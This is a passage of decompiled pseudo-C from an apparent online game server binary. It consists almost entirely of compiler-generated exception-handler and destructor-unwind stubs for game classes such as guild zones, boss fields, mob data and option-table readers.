__CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598540) -------------------------------------------------------- void __usercall _L159153(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00598548) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_CT_SET_CURRENT_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598560) -------------------------------------------------------- void __usercall _L159517(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00598568) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__Send_NC_GUILD_ZONE_LIST_REQ_CGuildZone__UAEHXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598580) -------------------------------------------------------- void __usercall _L159776(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00598588) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_UGUILD_ZONE_LIST_CGuildZone____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005985A0) -------------------------------------------------------- void __usercall _L159930(int a1) { List::_List((List *)(*(_DWORD *)(a1 - 16) + 12)); } //----- (005985AB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0CGuildZone__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005985C0) -------------------------------------------------------- void __usercall _L155303_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (005985C8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__macad_AbstateCheck_MobAbstateCheckAtDead_BossFieldContent__QAEHPAV__List_VAbstateElementInObject_AbnormalStateContainer_____Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005985E0) -------------------------------------------------------- void __usercall _L156677(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (005985E8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sbbt_FindBuffer_ServentBuffBossTable_BossFieldContent__QAEPBUServentBossTable_12_G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598600) -------------------------------------------------------- void __usercall _L156745(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00598608) -------------------------------------------------------- void __usercall _L156746(int a1) { AxialListMobStateSet::_AxialListMobStateSet((AxialListMobStateSet *)(a1 - 36)); } //----- (00598610) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sm_IBuffToBuffee_ShineMob_ShineObjectClass__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598620) -------------------------------------------------------- void __usercall _L157086(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00598628) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__maal_MobDamaged_MobAutomaticActionList_BossFieldContent__QAEXGPAVShineObject_ShineObjectClass__PAVShineMob_4__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598640) -------------------------------------------------------- void __usercall _L160228(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00598648) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__erase____Tree_V___Tset_traits_UMobAutomaticAction_BossFieldContent__U__less_UMobAutomaticAction_BossFieldContent___std__V__allocator_UMobAutomaticAction_BossFieldContent___4__0A__std___std__QAE_AViterator_12_V312__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598660) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_W4ABSTATEINDEX__V__allocator_W4ABSTATEINDEX___std___std__IAEXViterator_12_IABW4ABSTATEINDEX___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598670) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__vector_W4ABSTATEINDEX__V__allocator_W4ABSTATEINDEX___std___std__QAE_ABV01__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598680) -------------------------------------------------------- void __usercall _L162457(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 196)); } //----- (0059868B) -------------------------------------------------------- void __usercall _L162458(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 184)); } //----- (005986A0) -------------------------------------------------------- void __usercall _L162524(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 172)); } //----- (005986AB) -------------------------------------------------------- void __usercall _L162525(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 168)); } //----- (005986B6) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__maal_Load_MobAutomaticActionList_BossFieldContent__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005986D1) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_copy_PAVMobAbstateCheckAtDead_BossFieldContent__PAV12_V__allocator_VMobAbstateCheckAtDead_BossFieldContent___std___std__YAPAVMobAbstateCheckAtDead_BossFieldContent__PAV12_00AAV__allocator_VMobAbstateCheckAtDead_BossFieldContent___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005986E0) -------------------------------------------------------- void __usercall _L164052(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005986E8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__macad_PushBack_MobAbstateCheckAtDead_BossFieldContent__QAEXW4ABSTATEINDEX__W4StateDropType___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598711) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_fill_n_PAVMobAbstateCheckAtDead_BossFieldContent__IV12_V__allocator_VMobAbstateCheckAtDead_BossFieldContent___std___std__YAXPAVMobAbstateCheckAtDead_BossFieldContent__IABV12_AAV__allocator_VMobAbstateCheckAtDead_BossFieldContent___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598728) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_VMobAbstateCheckAtDead_BossFieldContent__V__allocator_VMobAbstateCheckAtDead_BossFieldContent___std___std__IAEXViterator_12_IABVMobAbstateCheckAtDead_BossFieldContent___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598740) -------------------------------------------------------- void __usercall _L166046(int a1) { KQContribute::KQContributeList::_KQContributeList(*(KQContribute::KQContributeList **)(a1 - 16)); } //----- (00598748) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ListOfMobStateCheckAtDead_BossFieldContent__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598760) -------------------------------------------------------- void __usercall _L166257_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 152)); } //----- (0059876B) -------------------------------------------------------- void __usercall _L166258_0(int a1) { FamilyMobManagement::FamilyMob::_FamilyMob((KQContribute::PlayerList *)(a1 - 172)); } //----- (00598776) -------------------------------------------------------- void __usercall _L166259_0(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 148)); } //----- (005987A0) -------------------------------------------------------- void __usercall _L69337(int a1) { BTree::_BTree(*(BTree **)(a1 - 16)); } //----- (005987A8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1KQScriptManager__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005987C0) -------------------------------------------------------- void __usercall _L69372(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (005987CB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__kqsm_Load_KQScriptManager__QAEXPBTName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005987E0) -------------------------------------------------------- void __usercall _L5309(int a1) { _eh_vector_destructor_iterator_( *(void **)(a1 - 20), 0x8008u, 101, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00598800) -------------------------------------------------------- void __usercall _L5328(int a1) { _eh_vector_destructor_iterator_( *(void **)(a1 - 16), 0x8008u, 101, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00598816) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1RandomBox__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598820) -------------------------------------------------------- void __usercall _L71798(int a1) { BinaryDataBox::_BinaryDataBox(*(MobResistTable **)(a1 - 16)); } //----- (00598828) -------------------------------------------------------- void __usercall _L71799(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 168)); } //----- (00598836) -------------------------------------------------------- void __usercall _L71800(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 392)); } //----- (00598844) -------------------------------------------------------- void __usercall _L71801(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 608)); } //----- (00598852) -------------------------------------------------------- void __usercall _L71802(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 804)); } //----- (00598860) -------------------------------------------------------- void __usercall _L71803(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 872)); } //----- (0059886E) -------------------------------------------------------- void __usercall _L71804(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 936)); } //----- (0059887C) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1__unnamed_MobDataBox__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598890) -------------------------------------------------------- void __usercall _L71854(int a1) { MobDataBox::__unnamed::___unnamed(*(BinaryData **)(a1 - 16)); } //----- (00598898) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1MobDataBox__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005988B0) -------------------------------------------------------- void __usercall _L72207(int a1) { MobDataBox::__unnamed::___unnamed(*(BinaryData **)(a1 - 16)); } //----- (005988B8) -------------------------------------------------------- void __usercall _L72208(int a1) { BTree::_BTree((BTree *)(*(_DWORD *)(a1 - 16) + 1112)); } //----- (005988C6) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0MobDataBox__QAE_PAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005988D0) -------------------------------------------------------- void __usercall _L105021(int a1) { IObserver::_IObserver(*(ItemSmallBag **)(a1 - 16)); } //----- (005988D8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1ItemActionItemBox__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005988F0) -------------------------------------------------------- void __usercall _L105035(int a1) { ItemBag::_ItemBag(*(ItemBag **)(a1 - 16)); } //----- (005988F8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ItemRewardStorage__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598910) -------------------------------------------------------- void __usercall _L105050(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00598918) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__irs_FillBufferItem_ItemRewardStorage__QAEHPAEPAUPROTO_ITEMPACKET_INFORM___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598930) -------------------------------------------------------- void __usercall _L12148(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut(*(DiceTaiSaiDividind **)(a1 - 16)); } //----- (00598938) -------------------------------------------------------- void __usercall _L12149(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 12)); } //----- (00598943) -------------------------------------------------------- void __usercall _L12150(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 48)); } //----- (0059894E) -------------------------------------------------------- void __usercall _L12151(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 116)); } //----- (00598959) -------------------------------------------------------- void __usercall _L12152(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 117)); } //----- (00598964) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1TokenArgument__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598970) -------------------------------------------------------- void __usercall _L12475(int a1) { ORColumnHeaderList::_ORColumnHeaderList((ORColumnHeaderList *)(*(_DWORD *)(a1 - 16) + 24)); } //----- (0059897B) -------------------------------------------------------- void __usercall _L12476(int a1) { ListArray::_ListArray((ListArray *)(*(_DWORD *)(a1 - 16) + 2072)); } //----- (00598989) -------------------------------------------------------- void __usercall _L12477(int a1) { List::_List((List *)(*(_DWORD *)(a1 - 16) + 2080)); } //----- (00598997) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1ORTable__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005989B0) -------------------------------------------------------- void __usercall _L12872(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (005989B8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VORRecord____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005989D0) -------------------------------------------------------- void __usercall _L12898(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (005989D8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VORTable____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005989F0) -------------------------------------------------------- void __usercall _L13716(int a1) { TokenArgument::_TokenArgument(*(TokenArgument **)(a1 - 16)); } //----- (005989F8) -------------------------------------------------------- void __usercall _L13717(int a1) { List::_List((List *)(*(_DWORD *)(a1 - 16) + 156)); } //----- (00598A06) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0OptionReader__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598A10) -------------------------------------------------------- void __usercall _L13683(int a1) { ORColumnHeaderList::_ORColumnHeaderList((ORColumnHeaderList *)(*(_DWORD *)(a1 - 20) + 24)); } //----- (00598A1B) -------------------------------------------------------- void __usercall _L13695(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (00598A26) -------------------------------------------------------- void __usercall _L13684(int a1) { ListArray::_ListArray((ListArray *)(*(_DWORD *)(a1 - 20) + 2072)); } //----- (00598A34) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ORTable__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598A40) -------------------------------------------------------- void __usercall _L13856(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 4128)); } //----- (00598A4B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__or_Read_OptionReader__QAEEPAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598A60) -------------------------------------------------------- void __usercall _L13211(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 52)); } //----- (00598A68) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__lid_Call_RecordDataCompareArgument__UAEEPAVORRecord__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598A80) -------------------------------------------------------- void __usercall _L13351(int a1) { operator delete(*(void **)(a1 - 48)); } //----- (00598A8B) -------------------------------------------------------- void __usercall _L13352(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 44)); } //----- (00598A93) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ort_MakePrimaryKey_ORTable__QAEEPAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598AA0) -------------------------------------------------------- void __usercall _L13406(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00598AA8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ort_ReadColumnName_ORTable__QAEEPAVORTokenReader___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598AC0) -------------------------------------------------------- void __usercall _L13434(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 48)); } //----- (00598AC8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__orr_GetFieldData_ORRecord__QAEPAXPADPAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598AE0) -------------------------------------------------------- void __usercall _L13545(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 24)); } //----- (00598AE8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ort_RecordBuffer_ORTable__QAEPAXH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598B00) -------------------------------------------------------- void __usercall _L13583(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 52)); } //----- (00598B08) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ort_RecordBuffer_ORTable__QAEPAXPAD0H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598B20) -------------------------------------------------------- void __usercall _L14246(int a1) { operator delete__(*(void **)(a1 + 4)); } //----- (00598B2B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Enlargement___List_VORRecord____QAEEH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598B40) -------------------------------------------------------- void __usercall _L14282(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 24)); } //----- (00598B48) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ort_ReadData_ORTable__QAEEPAVORTokenReader___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598B60) -------------------------------------------------------- void __usercall _L14439(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 44)); } //----- (00598B68) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__or_SelectCountFrom_OptionReader__QAEHTORToken___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598B80) -------------------------------------------------------- void __usercall _L2056(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00598B88) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1CardStack_CardDeck__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598BA0) -------------------------------------------------------- void __usercall _L2132(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00598BA8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_UCard_CardDeck____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598BC0) -------------------------------------------------------- void __usercall _L2182(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00598BC8) -------------------------------------------------------- void __usercall _L2183(int a1) { ListArray::_ListArray((ListArray *)(*(_DWORD *)(a1 - 16) + 24)); } //----- (00598BE0) -------------------------------------------------------- void __usercall _L61559(int a1) { BinaryDataBox::_BinaryDataBox(*(MobResistTable **)(a1 - 16)); } //----- (00598BE8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1ItemOptionsData__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598C00) -------------------------------------------------------- void __usercall _L69852(int a1) { std::codecvt_base::_codecvt_base(*(std::num_get > > **)(a1 - 132)); } //----- (00598C0B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__codecvt_DDH_std__QAE_I_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598C20) -------------------------------------------------------- void __usercall _L70410(int a1) { operator delete(*(void **)(a1 + 4)); } //----- (00598C2B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Getcat___codecvt_DDH_std__SAIPAPBVfacet_locale_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598C40) -------------------------------------------------------- void __usercall _L71233(int a1) { std::_Lockit::__Lockit((std::_Lockit *)(a1 - 28)); } //----- (00598C48) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler____use_facet_V__codecvt_DDH_std___std__YAABV__codecvt_DDH_0_ABVlocale_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598C60) -------------------------------------------------------- void __usercall _L71714(int a1) { std::locale::_locale((std::locale *)(a1 + 12)); } //----- (00598C68) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__open___basic_filebuf_DU__char_traits_D_std___std__QAEPAV12_PBDHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598C80) -------------------------------------------------------- void __usercall _L74007(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (00598C88) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__overflow___basic_filebuf_DU__char_traits_D_std___std__MAEHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598CA0) -------------------------------------------------------- void __usercall _L77114(int a1) { std::basic_streambuf>::_basic_streambuf>(*(std::basic_streambuf > **)(a1 - 16)); } //----- (00598CA8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1__basic_filebuf_DU__char_traits_D_std___std__UAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598CC0) -------------------------------------------------------- void __usercall _L67641(int a1) { CToken::_CToken(*(CToken **)(a1 - 16)); } //----- (00598CC8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0CCsl__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598CE0) -------------------------------------------------------- void __usercall _L67656(int a1) { CToken::_CToken(*(CToken **)(a1 - 1288)); } //----- (00598CEB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0CCsl__QAE_PAV0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598D00) -------------------------------------------------------- void __usercall _L67673(int a1) { CCsl::_CCsl((CCsl *)(a1 - 1288)); } //----- (00598D0B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__IncludeFile_CCsl__AAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598D20) -------------------------------------------------------- void __usercall _L65656(int a1) { String::_String((String *)(a1 + 36)); } //----- (00598D28) -------------------------------------------------------- void __usercall _L65657(int a1) { String::_String((String *)(a1 + 20)); } //----- (00598D30) -------------------------------------------------------- void __usercall _L65658(int a1) { String::_String((String *)(a1 + 4)); } //----- (00598D38) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__uploadService_WinService__QAE_NVString__00_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598D50) -------------------------------------------------------- void __usercall _L65790(int a1) { String::_String((String *)(a1 + 4)); } //----- (00598D58) -------------------------------------------------------- 